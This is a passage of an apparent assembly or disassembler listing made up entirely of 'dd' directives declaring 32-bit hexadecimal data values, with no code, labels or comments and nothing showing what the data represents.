0D9E3C036h, 6271C380h, 62440B2Bh, 0D40A8BC2h dd 275F6401h, 0F780AA0Ah, 0E1F681DEh, 99520CADh, 0E39EF389h dd 0B00BBF09h, 5AB8737h, 207383Fh, 0AA22FFD1h, 1F6025Fh dd 8D843150h, 40F8A8DDh, 63157CC2h, 40BD06D0h, 5C2C70BAh dd 0EB12F836h, 912562E2h, 31AD25C0h, 0E51D824h, 0DD12208h dd 32BA6C01h, 4B8320E4h, 8BD87159h, 90342A2Ch, 0F1841BA8h dd 0E9D3A05Eh, 2D3BB42Eh, 243A0B4Ah, 570C3150h, 9155185Bh dd 0F0114996h, 251028C2h, 2AED1E51h, 0D8B9D705h, 0DE87C4AAh dd 6BBB9395h, 0A26507C3h, 0E9584C24h, 4092E3C7h, 31EE0429h dd 0DF304F0h, 0B71298B3h, 2828B2F8h, 0CFB26668h, 212428A6h dd 0A91656F2h, 0C7FE3146h, 1F807404h, 9676B661h, 0B88084FDh dd 8901CB45h, 683A905Eh, 31374E09h, 8EEE2651h, 0ED505E50h dd 0D0008FC8h, 5C08053Bh, 0A60E3243h, 29E0CC0Eh, 63E95FFDh dd 0E39752E9h, 6A14CF1h, 6F5A92Fh, 9B1203E2h, 0F12F1276h dd 60402E90h, 590ED0F1h, 0CA092016h, 548049F4h, 5A7F945Eh dd 4D9C2623h, 1B2C7327h, 50F42CCAh, 5C5E5C1Ah, 0DD82B765h dd 0E08A6051h, 64B72E7Fh, 0BADA84Fh, 550174D8h, 2A145380h dd 89132361h, 0DDC45BD9h, 77482h, 2D1D47E0h, 0BA010094h dd 0F801DFE2h, 0AB0BA142h, 21D345E4h, 49382606h, 0DB68E8C0h dd 0D38C4B4Bh, 0F63826FBh, 79F503D3h, 0E8B4945Ch, 630293D4h dd 85018997h, 0C35DDE93h, 5B3725E4h, 748E6BB2h, 283E8495h dd 0E14082FCh, 0CDC940E0h, 0B404B290h, 0E84AE990h, 8B4C6892h dd 522F0A92h, 206C0788h, 79B70F99h, 936977B1h, 0EA80A020h dd 0D43B8894h, 0CDC6125Ah, 4943D909h, 3720D179h, 2E0D133Dh dd 4234016Dh, 0D86B1647h, 62196ACDh, 670C1477h, 0DF59D2D0h dd 2F110ED8h, 3F5CE922h, 0B1F55A05h, 0A52C42E1h, 53825889h dd 0C101F941h, 762008E2h, 2CC8405Ah, 1C6AA64Ch, 302602ECh dd 0E96AB2C1h, 7D7D4FC9h, 7D2B1C88h, 46D3E984h, 2DF7830Ah dd 6F211B21h, 6870341Ch, 324E3427h, 0A4A5CF70h, 0C5084360h dd 1656AC2Fh, 0F6EA63EBh, 47016ECEh, 0CC2CACEFh, 0A0CA31F8h dd 5B685F83h, 0C0ADC43Eh, 0D7F60061h, 0CEFC8850h, 0E7A7EC06h dd 0E9E58158h, 0C19A3479h, 3108E805h, 0C79450C8h, 0EFE9AC20h dd 0E0D1C453h, 35DDC057h, 1E7E4F1Ah, 9164D932h, 0FE184044h dd 6F772870h, 1B1D0BF7h, 10206467h, 97E95D08h, 5F10CFB6h dd 1B0F4584h, 0D03EBA7Ch, 4DB900E9h, 0B85DAB71h, 0C47ED283h dd 2F5D76FEh, 0E9F82C3Ch, 52A2AF2Ah, 0C4CFBF5Ch, 45A4E136h dd 0A7490B0Bh, 0BD8631BEh, 0F8754A21h, 0F04E2480h, 57E44033h dd 0E98564CBh, 0A650CD4Ch, 74B60F66h, 0C7681ECCh, 45ED2633h dd 4095A1F0h, 278ACA58h, 0F75E0D0Ch, 9D504ADAh, 3847F011h dd 0D1010E90h, 82596F03h, 0CC2CF668h, 82A24B05h, 79E231CEh dd 0DD939EC0h, 92F802Fh, 6258D1BBh, 0D1094699h, 0CB24902h dd 3C1D3391h, 0F92D0639h, 3314B31Ah, 51F58827h, 4CEAC4BAh dd 0E8F6876Ch, 214CF69h, 5980ED6Ch, 0F392120h, 0C1C5F928h dd 3D71C282h, 68A8EF6Ah, 99408A9h, 0D4356801h, 90E8056Eh dd 0CB15C422h, 928BAC3Ah, 8A4B91E6h, 0CCC54D2Ch, 0EC803D20h dd 4148B044h, 0C4847D52h, 10478A3h, 0F74294F9h, 45907D60h dd 60217720h, 2B4E685Eh, 0B1B4044Dh, 330A093Ch, 0EE298015h dd 4AA9561Dh, 6ED186Dh, 7DB24CE9h, 9495F1ACh, 46309105h dd 0E9120C83h, 79B37565h, 6669614Ah, 0C25D0270h, 4AB07134h dd 407324BEh, 0FFE9E829h, 928EC369h, 0C724847Dh, 8484E225h dd 0F0F49EE9h, 0B5513C58h, 3EDC009h, 0F8D3DC62h, 660041A7h dd 694DDC57h, 9684E9E4h, 6B052E4Bh, 0C8A178Ah, 0C1832A5Fh dd 0D47B030Ch, 64B6186Fh, 81C32D34h, 3221041Bh, 310B1D53h dd 81535605h, 5DA28F01h, 9D607E39h, 485A4A1Fh, 0AD0356BCh dd 921D4505h, 276D412Bh, 57253635h, 0A83462E5h, 0D9009D89h dd 0ED41FDEBh, 0FA2A667Eh, 0DCEDA239h, 0B180C5A1h, 0CB203DEFh dd 0D10CF313h, 29771511h, 7D0795FEh, 4133069h, 0A1CC258h dd 3FAB59E8h, 0F63B02C0h dd 0D6BE13D5h, 0D9815A24h, 23EC0860h, 0BA40C026h, 6FFE7093h dd 96000CB0h, 29F872ADh, 60B4E9D3h, 511E255Ch, 68E60A85h dd 0A654B22Eh, 711C006Fh, 265A3DC9h, 5A175952h, 8B0FE741h dd 0E8C821D3h, 8A16D678h, 0DC540E84h, 5530E943h, 0E20FD53h dd 2F5A7A47h, 11B84E11h, 701E1C1h, 6D3BA52h, 0F2FC12DFh dd 702F18FDh, 5453D647h, 298B7B07h, 4F305AD1h, 24685924h dd 699B7CE3h, 61034C08h, 2FF639E9h, 0CC543C22h, 0E9520B07h dd 6E44628h, 6881B4D2h, 70E2D366h, 0C1482062h, 5AD53004h dd 57ACE828h, 278C6802h, 0A348F6E9h, 1713FBBEh, 5001D70h dd 16DC0B05h, 60B9B829h, 7BE6C84Ah, 314C71F7h, 834D50C0h dd 469F79Ch, 0D2E343FCh, 0E03AAC07h, 48A1D232h, 0BE001FE6h dd 7CA6516Dh, 201F681h, 0E92AF837h, 0BFA347EEh, 964CC0EDh dd 140410D5h, 0D6E74879h, 34DF363Ch, 79370181h, 6D1CB371h dd 0F75F2C67h, 2538C54Bh, 0EF2057E5h, 0F1AD02FDh, 0B0BE41E8h dd 5318C84Ch, 3E4FF6A0h, 9932FB3Fh, 0E8945AD3h, 0ABB7412Eh dd 4277C80Fh, 0D3F1EFFFh, 74B8F701h, 428E73B4h, 36E27714h dd 0B40D729h, 0B859E9FAh, 55590E47h, 325CE750h, 31C249E5h dd 0F07B460Fh, 3C5194C6h, 936B1927h, 0B4C834DAh, 64012D5Ah dd 68BE1DA7h, 7D495429h, 390906BBh, 2DD07E2Eh, 0EE90780h dd 58580097h, 9902C783h, 84DF129Dh, 1BE50839h, 7C64143Dh dd 4C51216h, 0E95C62C3h, 1A800E50h, 0FEFCB151h, 3F6C0C9h dd 0E72C63B0h, 3D084530h, 1C55964Fh, 3ECB6074h, 0F8875A32h dd 78BB1205h, 0DA2DE47Dh, 9B91E40h, 0F2B5315h, 386B8AE1h dd 78875982h, 69F89F25h, 0BB1014F6h, 883D460Ch, 0A53F2634h dd 259D3194h, 0C5F8A233h, 805F5929h, 0D828442Ch, 0D20EB353h dd 632BEB80h, 0B3C0DFF3h, 0AC074C03h, 88BDF724h, 0AE880401h dd 2C5906CBh, 0D2FB468Ah, 57F94A4Ah, 0B25207B0h, 0F2801099h dd 49E3B3Ah, 0FCE995C2h, 1252C7E0h, 5DFEBF57h, 42FEAC28h dd 43057499h, 4621EEC2h, 7810975Bh, 26B60A0Eh, 0BF12BF48h dd 9C7CB023h, 78406609h, 7D7C0A02h, 3292D5FEh, 7A2CE577h dd 33406B72h, 0EC6E8E01h, 18B37CC9h, 1A410A15h, 0EF09B94Eh dd 0ABCB012Ah, 0B24C5B5h, 6F5258E9h, 68752BEDh, 391D5C88h dd 2580136Ch, 65051670h, 8D0F0D48h, 0F2EAF43h, 0F98AA033h dd 0AADC7EE9h, 0CA68E2BEh, 599600CCh, 4C22AB64h, 0C7501DC1h dd 46691894h, 2B109056h, 2D4EF12Eh, 8539D300h, 69AAE921h dd 0E2F14EFAh, 5084D1A4h, 37828851h, 2C61D48Ch, 5712567Eh dd 0E23DEE9h, 0A606B368h, 0F88839E5h, 9CC6E87Eh, 7FE986FAh dd 0BFF43B61h, 4FFC8D7Bh, 9FF147ECh, 870F08C8h, 0DB10F7F7h dd 81553F06h, 0E973C7BDh, 0AA79D194h, 0B1185F06h, 930A0C0Ch dd 0BB44CC7Eh, 0EF235003h, 0EAEBAA0Bh, 4E3C7A08h, 5629805Ch dd 3A097DBEh, 253174A9h, 4D945E24h, 0F28558Ch, 0EFC780E7h dd 3862D249h, 8B13A75Ch, 4BE9B428h, 33C1C298h, 68417276h dd 632E2209h, 3A5AE905h, 1BC5A391h, 38095B01h, 0C5538949h dd 274D0864h, 52DE627h, 0DA689F2Ch, 5A5EA22Eh, 0A2053182h dd 2621AF1Dh, 56E7C5EFh, 0FC0012B7h, 89375B70h, 6BF7E9FDh dd 0DCB29144h, 68816253h, 1FA31B01h, 0FD1C062Ah, 0EEF60E1Ah dd 6C691BB6h, 0DB8F2098h, 54015B14h, 175A26BBh, 0C5125592h dd 3192C0A2h, 2930D9BCh, 33ED5031h, 0E98D74Ah, 21F84B39h dd 0C9685883h, 1F642F65h, 563C20A5h, 0A5195404h, 0ADFFB042h dd 14B527BAh, 515301DBh, 9C601FB9h, 0E006317Bh, 4B7DD30Fh dd 0B388BB4Ah, 4DE9F8CBh, 5B2BC0E1h, 2AB38BE1h, 2F27BCD1h dd 18A38A67h, 5562C152h, 0B741B94Dh, 726F784Bh, 2A41D30Bh dd 815024D8h, 0FDA4F305h, 0EF00885Ah, 266F428Ch, 0CDF4C01h dd 985B0840h, 3480E59Ch, 0EFC0CFFEh, 0F7368004h, 55980607h dd 2F38A822h, 6B5B294Ah, 0E95F7C20h, 33CBEEFh, 7DE58145h dd 20467FE1h, 173C210Eh, 48C13EC5h, 3B05763Ah, 1E1F076h dd 0FC933B0h, 2E044496h, 0C549741Eh, 0B47DB801h, 9F412789h dd 8005039Dh, 44EA81E5h, 465B7874h, 74FDDEC0h, 15328CCh dd 1BC325EFh, 0BEC18393h, 68397B23h, 822C60F8h, 6CCC800h dd 5E0778D6h, 43D3F74Bh, 0A3AB8049h, 0ED3F7416h, 1C6DA96Ch dd 0F5D2810Bh, 26CF7890h, 0FC160C8Eh, 0EB2909C3h, 0E2D934FFh dd 0A78793C4h, 0D9B70D15h, 6EB5176h, 0ED37E735h, 551D6752h dd 0A2459605h, 16B34CE2h, 0EF05F6FFh, 0F584C8F2h, 5BDD4FC1h dd 0EDEDD5C1h, 3AF2E0E2h, 0C16DC05Ch, 0AD476A7h, 1230FF94h dd 5822C604h, 0E90B7D75h, 20F14911h, 2CBB8588h, 3AAC00EBh dd 0E8C15F0Ah, 784F1EB8h, 0A2BB5E00h, 27F2EB05h, 684CDF31h dd 1020FB48h, 0D54CDAADh, 7DF9EE0Eh, 0E0A704B2h, 0E8C0004Ch dd 28F62C08h, 9294C588h, 98DEF0B8h, 0FE29958Fh, 0E8134A73h dd 0A0E94760h, 4D4E9E18h, 5F864117h, 0CA6803E6h, 927AC664h dd 0AB89518h, 8B7A5B57h, 0E9095C99h, 4615C248h, 0F6D29835h dd 3CFB2C5Fh, 28370038h, 6DE93846h, 5C12CCB6h, 5659D8D1h dd 52543A52h, 0C6B5207Ah, 0FAC0507h, 0C55053CAh, 1447AE68h dd 72DF029h, 5E11A175h, 9B1F51E4h, 40E98B7Ch, 0A5696B29h dd 0A035C458h, 30490D13h, 683AD6CAh, 539875A0h, 0E706A4Eh dd 3A655E05h, 0C1803C9Ch, 2954223Ah, 7A32DC8h, 591104ADh dd 31BB8333h, 0E0D066Ah, 4DF4FD16h, 0BE1504B2h, 80424A16h dd 5C483FDEh, 5EE9080Ah, 6C8CCDEEh, 5CB49174h, 0E2D3F90Fh dd 63E9825Ah, 61CB7623h, 332FA168h, 5D5400A7h, 556BA52h dd 740F60BBh, 2F397288h, 3604F698h, 211E4857h, 0F10549EDh dd 957C1904h, 4E760017h, 0D153E43Ah, 0BBE9E80Bh, 25E07375h dd 0AD94E62h, 8DE95284h, 0D0797CE1h, 0F6A5C5F4h, 0C66079D0h dd 1F5F5378h, 9F68120Ah, 0BB1C303Bh, 0DC26156Dh, 0C825465Ah dd 9B6D9h, 0D8011C8Fh, 0E5E9405Bh, 80D8C248h, 6BBD12E3h dd 5FD07DF7h, 31641680h, 890CBED9h, 59CBCDh, 7C4BA26Ah dd 0E7810238h, 509E6304h, 0C7019BF4h, 101C4303h, 8430EA21h dd 30FF800Ah, 181B74FFh, 0A9122E28h, 5807C150h, 400BA898h dd 0B70486Bh, 0D1531119h, 26856D8h, 1B2E64CCh, 0FCBACE9h dd 901165DFh, 0B4E6850h, 771DFCA8h, 49D47982h, 0DC87A204h dd 3D00A199h, 0D6093A5Dh, 4E8B685Ah, 26453302h, 186E4F65h dd 0DFF73691h, 0BF25C0F4h, 5C27D01Ch, 0F50A3D2h, 29A311E0h dd 80322564h, 3082B99Dh, 3385B540h, 0ED060086h, 5A65381Eh dd 97CD012Ch, 594C0820h, 5F699447h, 12CDE28Ch, 0B34F15E9h dd 458A92A6h, 0F4E25D78h, 5BC22E5Fh, 0BB9A5B0Ch, 0F331095Ah dd 2909295Eh, 0D9C7DE02h, 1325440Ah, 0B688F5CDh, 20BC641Ah dd 84E9C555h, 44278A03h, 0CC9255A1h, 77CE92Ch, 8BC775A6h dd 7DF41459h, 64C7BC66h, 1F3BA835h, 0DBD65958h, 0CE79AAE1h dd 0A1DB1DD6h, 0CC0D0F2Ch, 0FF40390Fh, 3E0C7684h, 55A54974h dd 85A8885h, 10BE0294h, 5C045945h, 8D0F3E68h, 1A462BC4h dd 202D6EEAh, 0B43B4E28h, 342AD32h, 6D3C31BFh, 0F80D06DCh dd 0B9944C2Bh, 0C3011451h, 0B8765044h, 0CA096956h, 84E0C121h dd 0B8ACDE95h, 0C9DEA35Ch, 7BFA1F53h, 0F11A9A09h, 3F04F052h dd 5F6325Ah, 31633CE1h, 8F98143h, 5208941h, 24C8DE2Ch dd 4C62F81h, 4AADA580h dd 0DD31533Fh, 5E0840BDh, 0BBAE336Fh, 5C0D1306h, 6F1CD121h dd 740305B7h, 0F7BFDE34h, 0A9D6A2B2h, 9A050D4h, 2A693FD5h dd 23A35180h, 9021DA1h, 0E5C158C5h, 0CFAAE003h, 34462605h dd 27DE004Ah, 0FD092D3Bh, 0FB1E5F60h, 0BDEF3FFFh, 26A1B782h dd 68148D94h, 0CFA83FD7h, 0DC72055h, 275D63D6h, 6B48D5F7h dd 530BE0F5h, 0AB890138h, 5EDACE28h, 54EE91C5h, 8A420B5Ah dd 0C42EE9C3h, 19D0F525h, 0E46D313Fh, 49D6E919h, 2351D85Ch dd 59CE6FC7h, 0D99AE47Fh, 534881B3h, 83D28A24h, 585AD188h dd 0C587D7A7h, 0BD31D08Bh, 0F9095003h, 4EA016Ah, 0F412370Fh dd 2B955C62h, 0FEF7EA95h, 5549BEFAh, 95569274h, 1D49CD3Bh dd 537A78B1h, 5C3F1C96h, 90525B0h, 0B7F6D849h, 5FDE2D32h dd 0E398C3h, 80F5B5C2h, 0E5C06AEDh, 0C7A30573h, 0E934C5C8h dd 8022204Ch, 4296ECC3h, 176812A2h, 1F7B4469h, 9B13E8D7h dd 6831D78Ch, 0A7FD4AF3h, 87222A75h, 0A5D15C15h, 26B16882h dd 4F62E9F4h, 0E4B17CEDh, 0E91C1383h, 315A76A0h, 0FA836B5Bh dd 500005B5h, 2D803936h, 644B01BEh, 0FE316008h, 0C9BE9D5Fh dd 0CB72240Eh, 86E700EBh, 0D0F3297Eh, 0E90C081Ch, 0D07731CFh dd 99852C3Ch, 0C56B5F54h, 914A314h, 0D117A668h, 4625B829h dd 0C9CF54D9h, 0EA3B68FCh, 480C1214h, 545B033h, 0C1BA07B1h dd 83C73039h, 0C373D9E8h, 0C3DFE90Bh, 0D7A6CD77h, 0D6B2224Eh dd 6858A70Ah, 302D5E0Bh, 0E261E9B5h, 0C9263A7Dh, 0BCC2F733h dd 5D15A17Ah, 9DED505Fh, 1301E65h, 69B865A7h, 0F8D49D34h dd 0D1A4D44Dh, 0F019103h, 1395BD1Ch, 0C5EDE90Bh, 545ECAACh dd 6B99082Bh, 42C1D53Eh, 0C9D823CBh, 5404BB9h, 4CF01CFEh dd 1526796Eh, 7744A5CBh, 782C0C4Eh, 857EB187h, 8A37EAE9h dd 0D02E7B9Eh, 0E140E9D3h, 57BAE09h, 0F07F1F2Dh, 25EEC731h dd 93F2D1D8h, 0C77BA410h, 9364F212h, 7C1092ADh, 6368094Fh dd 816DD145h, 50C01D53h, 0D38C314Dh, 3FE90F17h, 895864C0h dd 59C3F0D1h, 2C20E0E7h, 8D0806D6h, 0B46B8804h, 4A8A4C27h dd 53FCCC54h, 0CA0186B1h, 74E81213h, 28A5120h, 152BDC3h dd 90FC5AD7h, 589FE90Fh, 485CB152h, 0EA309053h, 0C2015E10h dd 0AFAD0AB4h, 66ED3C4Bh, 0F1F70E36h, 0B3579268h, 16AA643Fh dd 0ACF78140h, 0A700A1C9h, 6170E705h, 0AAC4E941h, 879A60A8h dd 1C280F6Fh, 0C900D9F7h, 16D8696Bh, 2EC0E914h, 0E9BDA5DCh dd 164E1184h, 126356F4h, 12E7336h, 0FF39BDEBh, 0DCF1305Fh dd 3315D294h, 0E4D10D6h, 411FBB3Ah, 0F38100DEh, 42035E87h dd 2FEBE917h, 4AA6F539h, 81C19D20h, 0F6685206h, 3E1A336Ch dd 6D1B2E57h, 0F8EA2989h, 42FB00E8h, 0E6817840h, 0F23B1D03h dd 0F8F60355h, 0A3DEE4Fh, 5D75C60Ch, 845112C3h, 76C3B394h dd 10960A4Ch, 810E2B66h, 16FCEFCDh, 1D1081Ah, 5152A142h dd 0D89D89C8h, 0E834C3B4h, 0A6A21CDFh, 0C057939Fh, 550CBD6Fh dd 2F73F43Dh, 80AD05B4h, 0D1F610C1h, 568F0A9Fh, 0C904C5B7h dd 62954264h, 0B317FBFAh, 0F9C3E1C0h, 8204843Ch, 0D8010477h dd 688942BAh, 8F5E1FCAh, 1385B79h, 147DE9F0h, 8C0DDC8h dd 5412C2FBh, 21399DC5h, 60310853h, 685C0D06h, 59E3C85h dd 682F6948h, 546CE994h, 9C19BFCh, 75770CD2h, 0E4E06500h dd 9FCB6Fh, 0AFBB53FBh, 0CFF2423h, 8C8D1F2Fh, 0DD0C0696h dd 5A0B1903h, 9A5BDA01h, 52545CD3h, 27157A56h, 92FC4DACh dd 0F4E586A8h, 0D130E951h, 94F5EB49h, 824A485Fh, 0F6EE410h dd 42C2BD55h, 7C4D7652h, 3D2728B1h, 113B6A84h, 736CE503h dd 0C791321h, 2AEA5805h, 0CD520BE9h, 379C5E04h, 62CFB900h dd 50B02B83h, 0BBACD40h, 4DB53471h, 58008829h, 41B1087Ch dd 0F4E28125h, 0E93102FFh, 0F14546E3h, 2E0E9828h, 2421AB08h dd 4CC55EF0h, 77ADF450h, 8AEDB92Bh, 1ED0425h, 0FC4F0945h dd 103493DEh, 3E483CF8h, 0B870C04Ah, 5F2819C2h, 0F440E972h dd 0AE82DC1h, 26A82B8Eh, 0B127FA2Ch, 0A87D6E88h, 51D3E102h dd 0AB804569h, 1BD2FC03h, 2BA58297h, 0E55C05B6h, 88DEE05Bh dd 5A00F578h, 0A5B55153h, 582883B7h, 0AF19BCEFh, 92D8C577h dd 0E9441194h, 8B1E20A5h, 0D22ABAh, 2EE5E304h, 77C36A38h dd 6810B0C1h, 5BDD2F01h, 5A8301A8h, 6850BA76h, 8D224BC5h dd 352E336Dh, 0F00C43F2h, 3EF3F5B2h, 0C98BF45Dh, 4BE6DA29h dd 0F005589Ch, 0D8819474h, 0D454B113h, 1CD3F7C5h, 0C44B5F1Fh dd 0AEF980B5h, 777E174Dh, 1381222h, 0B1F305F6h, 76F789B7h dd 55E90C45h, 41C7BB23h, 709E83Bh, 0D0F60AC3h, 5866E088h dd 0EDF87286h, 0DA6547FDh, 16463020h, 0B0628C64h, 0F572D9FEh dd 9C89CE28h, 4D09EDF2h, 5471FC02h, 4E08A049h, 0CDF1A458h dd 2D596909h, 84B10029h, 0D8383405h, 0E4E401Eh, 3694724h dd 14D24288h, 3710EA31h, 60A04E79h, 0B52840A5h, 0E2CD504Eh dd 0FA7C9BE5h, 2D028D48h, 30EB2640h, 287CF3E1h, 0FEEEC4B1h dd 2557F640h, 0F5FC2B3Eh, 0DE5C88FAh, 67EB81D4h, 31684A11h dd 0ED27C912h, 0B9A9B48Fh, 0A910454Ch, 264F5008h, 2D976495h dd 7A3114E8h, 0E67A7506h, 0B58F454h, 0E3D1D9F5h, 0D510615Eh dd 0D206FD9h, 94759768h, 0D04763BFh, 9A9BC55Ah, 0B569B878h dd 2F14609h, 7E1A6885h, 0D1019735h, 3D7153B7h, 0E9CF473Bh dd 0A9D119CCh, 0C2B3873Fh, 0F5D490B0h, 585C3391h, 0BE023560h dd 0A4E97827h, 658D104Fh, 0B959912Fh, 4B056D4Bh, 607C5044h dd 8990A91Fh, 19441452h, 0A1092BB0h, 0C072C011h, 2E42748Dh dd 0E573F5h, 0E6B55413h, 0F8CAD589h, 840BC9EFh, 0AE4E31h dd 9DE379B9h, 0E9D901DCh, 1DCB225Dh, 0DFD63924h, 0D79E0AF2h dd 87095210h, 15708279h, 17CEBBB0h, 0B853C30Dh, 0B600BD0h dd 0DA8181D8h, 5F85A577h, 36FB801h, 8C2014D5h, 0E70DD66Dh dd 5F0C4892h, 35AB5474h, 0D34BA6F7h, 196CFB0Ch, 0DFAB90D8h dd 0B1DB163Bh, 0D813389Ch, 83E47AACh, 0E02C7791h, 0ED3AEC1h dd 4729A271h, 0C54158D1h, 4B235A7Dh, 7692478h, 0B850602Bh dd 8E3C21F9h, 0F9C6A462h, 5F9FC125h, 315CA592h, 2F173393h dd 6F7CCE98h, 0C0B580AFh, 21584725h, 47278585h, 66498852h dd 823C372Ch, 29547D4Bh, 6F1754D8h, 505D005h, 4172E90Fh dd 88535181h, 7E63CAC3h, 0F440EEAAh, 0AF9A4885h, 37720526h dd 12368AC3h, 5F58010h, 0C8401B21h, 491296A9h, 351E6C3Eh dd 8F08513Fh, 0AC663C1Ch, 3E120C21h, 0A1E1F442h, 3BC087E9h dd 1179441h, 84EF7C07h, 13590FF0h, 8C54B168h, 6B0BEA6Dh dd 50311C5Eh, 208C850Bh, 44FAB1ACh, 0C3141183h, 3D1505E9h dd 7509F1C5h, 2576787Dh, 0B9515A00h, 3254A29h, 6E1C140h dd 0AF8C5FE9h, 0C7210A39h, 0B8011B28h, 5E307715h, 0BC092E21h dd 5A0EC142h, 5D1053Dh, 0F02AAB58h, 8A180FFh, 5FE20D51h dd 0CCD101h, 0F2685A08h, 13CD2F56h, 1DCD29FDh, 2CF0F301h dd 0E8598D2Fh, 1A4A1471h, 41A6DBD8h, 33FD0343h, 0AD2C7F1Ch dd 0BCCAC31Fh, 0DF41F124h, 8F44560Ah, 0A8BA5880h, 37F83F55h dd 161BF203h, 0FEA460Bh, 2B29D5E9h, 0C1842367h, 21C457FCh dd 0B142A8C8h, 0B78917A9h, 2B7C5AD6h, 88390959h, 0DC44072h dd 0F44D0A09h, 704A0445h, 0B9736807h, 0D9C96BF6h, 0B8B844FBh dd 2D46C218h, 0E0F3858Dh, 0D74B83FCh, 0ACAD93CDh, 8734125Ah dd 6EB26B85h, 22E52318h dd 0D1261B9h, 382D4C04h, 0D99F4B3Bh, 30908DD8h, 652D400Fh dd 2A67667Eh, 0C78CA117h, 55F04802h, 5DFC2D04h, 13EB1A47h dd 0C496AC1Bh, 0BDA199E9h, 59877452h, 61791265h, 71D2D14h dd 464D3CD2h, 419890ABh, 25012A2Ch, 5902501h, 55670B3Fh dd 0ECF08F8Bh, 534DDC98h, 0E28817AEh, 6BA41AC1h, 0F9B97350h dd 68B40C79h, 7820C829h, 1634C55Bh, 48E7C582h, 1ED2F72Eh dd 0A4C1D187h, 2D141B49h, 9382FE82h, 5A4666F3h, 20D5C2B7h dd 59CE31FCh, 5EF07A89h, 68873227h, 969EF5C4h, 79595550h dd 9AC7005Dh, 0E9215331h, 0BA966E60h, 80ADD0A7h, 3C6C1ECDh dd 68CC2EBEh, 98C66D27h, 9FDF022Ch, 0AB9D066Fh, 68BA0410h dd 807B703Eh, 5F2F668Ch, 98803F5Ah, 18D0EEF7h, 66D189BBh dd 7F26E9CAh, 3151283Eh, 639D0B7Fh, 0B642BABh, 0C1195876h dd 0D01402E8h, 64FF05F4h, 471C489Ch, 386127CFh, 61314F0Bh dd 7DE25DFCh, 98C9765Ch, 0D12E09B1h, 95F841E1h, 66C7362Dh dd 0FBC2952Ah, 0BA4237D9h, 61B8DE02h, 237B8C68h, 57625AA6h dd 92916558h, 8CCFAC5Ch, 40C34254h, 136E90Ah, 94FED4Ch dd 50512FB4h, 4802305h, 9106E9F8h, 341CF79Bh, 0AA40E201h dd 5A8D12BBh, 0DF86C0ECh, 1F185325h, 0FD10E3D1h, 128D7866h dd 16DBF743h, 5965C133h, 0A733028h, 0FE10AD63h, 3AD621CEh dd 2AB25280h, 62F6E2D0h, 35E904DAh, 0BA2D5156h, 8E6968E7h dd 25869322h, 32CAE891h, 0DBCDD279h, 0B7D07C53h, 5366E120h dd 28711DB7h, 205B84F9h, 9E5B3C8h, 79479C68h, 9BC549BBh dd 5FEDE905h, 377F3CD9h, 57E5329Ah, 2058577Ch, 51BF1344h dd 214C25Dh, 2992DC40h, 0E4715F81h, 0BE05473Ch, 80DE77CEh dd 0C0F8C6F2h, 5180A04Bh, 0B4A6118Dh, 1CA10052h, 2BE9697Eh dd 91BD0940h, 8265A72Ah, 9C499EACh, 402190F2h, 0DE483031h dd 0DDEF2A98h, 24FE9190h, 2F670F55h, 0F3B4A39h, 8F7868E0h dd 0CA782BEEh, 889A29F4h, 34CB594Bh, 44D1CD4Eh, 68D102C5h dd 517C5636h, 466ABD42h, 8D050097h, 2910FA45h, 7A32DF8h dd 4A34A9A8h, 0BC052302h, 0FC753B3Ah, 4236A473h, 5707B72Ch dd 47A14C64h, 6109C501h, 75238E2Ah, 0CFC8605Bh, 0FCC1955Ah dd 0A7C94357h, 0D906B2A1h, 30B9595Fh, 342E5CEAh, 5E39EEBEh dd 60818F09h, 181BCF95h, 9F5B7C2Eh, 6B4A95E9h, 2ABA92D0h dd 96A02C8h, 0EBD159CBh, 452ADE1h, 0BDCB14BFh, 0E3F38107h dd 0A1FF0569h, 2A9E2E7Dh, 2A12B34Fh, 5658D2D0h, 0DF1632B5h dd 0FF2641CBh, 3AEDAB87h, 0DC9E1772h, 0B2593D82h, 0B104963Bh dd 3AE2AC86h, 0DCD95425h, 2CEAC764h, 0BA168E4h, 0CC822B5Eh dd 67395757h, 0DE843B5Ch, 47B327D4h, 6966DE40h, 1AA37DCAh dd 73020B29h, 7E1D20EBh, 20C7F874h, 883BFADBh, 58EA94DCh dd 7BC3814h, 0DF01404Ch, 0F0F8A7D5h, 0A813D85Bh, 0E10B1C55h dd 0C3092F19h, 0AD25595Bh, 69271B52h, 0F0E1E4D5h, 10F96BB7h dd 9801BD51h, 92DAD07h, 1B4CE272h, 0DD56B44Bh, 8C20BE90h dd 0C8295F6Fh, 0C15EED83h, 0E8EF8BDDh, 9C0C6068h, 0BD062F5h dd 58A01877h, 0AF3B919h, 0ADE3A7F0h, 0A0397753h, 80305EB3h dd 5AAD6861h, 91A81099h, 95387620h, 5CD9269Bh, 563A92CEh dd 703B5E01h, 0DAF11EF1h, 5D5D2764h, 0D5004B5Ah, 0BF0F581h dd 2B91C253h, 0D8916212h, 0BF2D3EBAh, 99692207h, 30B9B267h dd 0C87C9B52h, 8B234715h, 8BDD24AFh, 80B4B781h, 0C7CC59F7h dd 0F8883F6Fh, 8BE998A6h, 403315Fh, 0D32C0839h, 3F1080E3h dd 29D32816h, 5BCB173Eh, 34995758h, 1DF1C06Eh, 137C2F3Eh dd 0AC0AC5E9h, 0A9BFA799h, 542501Eh, 3217F4BEh, 6921F4Ch dd 463D1C7Bh, 0DA79D9EBh, 76D51860h, 0C10EA3B8h, 894206E2h dd 316DEEAh, 36B907D0h, 1C68D0B7h, 0E917378Ch, 8564AE4h dd 0ED03E40Ah, 0AB0F8996h, 0B248308Ch, 29737898h, 56286F01h dd 316425BEh, 3DEE81DCh, 378576A6h, 8304E6C1h, 0F5E8093Ah dd 9DFFD15Dh, 15CF0B10h, 5EF1860Ch, 39F307B8h, 0DAE97B7Fh dd 0E1358093h, 89D5A1E6h, 0F307C74Fh, 15713F94h, 0B821FB01h dd 14940804h, 74BA3DAEh, 9934E9B9h, 4FAA5CA6h, 0B34F5830h dd 52BF62D6h, 616AE571h, 38814D38h, 27771ED4h, 0B2F040D3h dd 25B39054h, 0A5168C1h, 59BE4043h, 0FC930F24h, 2051C986h dd 1817D075h, 5BE7B4Bh, 311A3C3Fh, 811B20CEh, 0CCE174E6h dd 0A190461Fh, 52ECF225h, 0AB642D88h, 75982AA0h, 893F3C30h dd 6875BFAh, 0C013DB74h, 785E6D53h, 0C36047F6h, 511ECF17h dd 0B2104C49h, 8517A703h, 0BBB5831Ah, 18027F0Ch, 846524CBh dd 0FA908B5h, 0D6295F09h, 0B6E9701Ch, 76A2FF4Bh, 0B0344F58h dd 0ACE8E810h, 5A6140EAh, 2A4A33FCh, 0E348B4E3h, 0D05A3049h dd 1839BC03h, 4A3C2240h, 5890E73Fh, 